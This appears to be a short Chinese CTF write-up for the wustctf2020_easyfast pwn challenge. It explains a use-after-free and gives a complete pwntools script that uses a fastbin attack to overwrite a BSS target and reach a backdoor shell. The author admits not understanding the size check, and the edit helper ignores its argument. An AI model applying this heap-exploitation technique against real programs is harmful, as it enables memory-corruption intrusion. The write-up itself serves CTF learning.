保护措施
这个函数里有个后门函数
free函数不干净,uaf漏洞
所以我们初步想法就是通过fast binattack来劫持bss段,让这个target为0
creat函数当中这个次数有限
from pwn import*
from LibcSearcher import*
context.log_level='debug'
io = process('./wustctf2020_easyfast')
#io = remote('node4.buuoj.cn',25779)
#libc =ELF("libc-2.23.so")
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF("./wustctf2020_easyfast")
addr = 0x4008A6
def debug():
gdb.attach(io)
pause()
def creat(size):
io.recvuntil("choice>")
io.sendline("1")
io.recvuntil("size>")
io.sendline(str(size))
def edit(index,value):
io.recvuntil("choice>")
io.sendline("3")
io.recvuntil("index>")
io.sendline(str(index))
io.send(payload)
def free(index):
io.recvuntil("choice>")
io.sendline("2")
io.recvuntil("index>")
io.sendline(str(index))
creat(0x40)
creat(0x40)
free(0)
target_addr = 0x602080
payload = p64(target_addr)
edit(0,payload)
creat(0x40)
creat(0x40)
payload=p64(0)
edit(3,payload)
debug()
io.recvuntil("choice>")
io.sendline("4")
io.interactive()
这个50能做size我是真没想到,后面随便搞居然可以了。这个size的判断属实没搞懂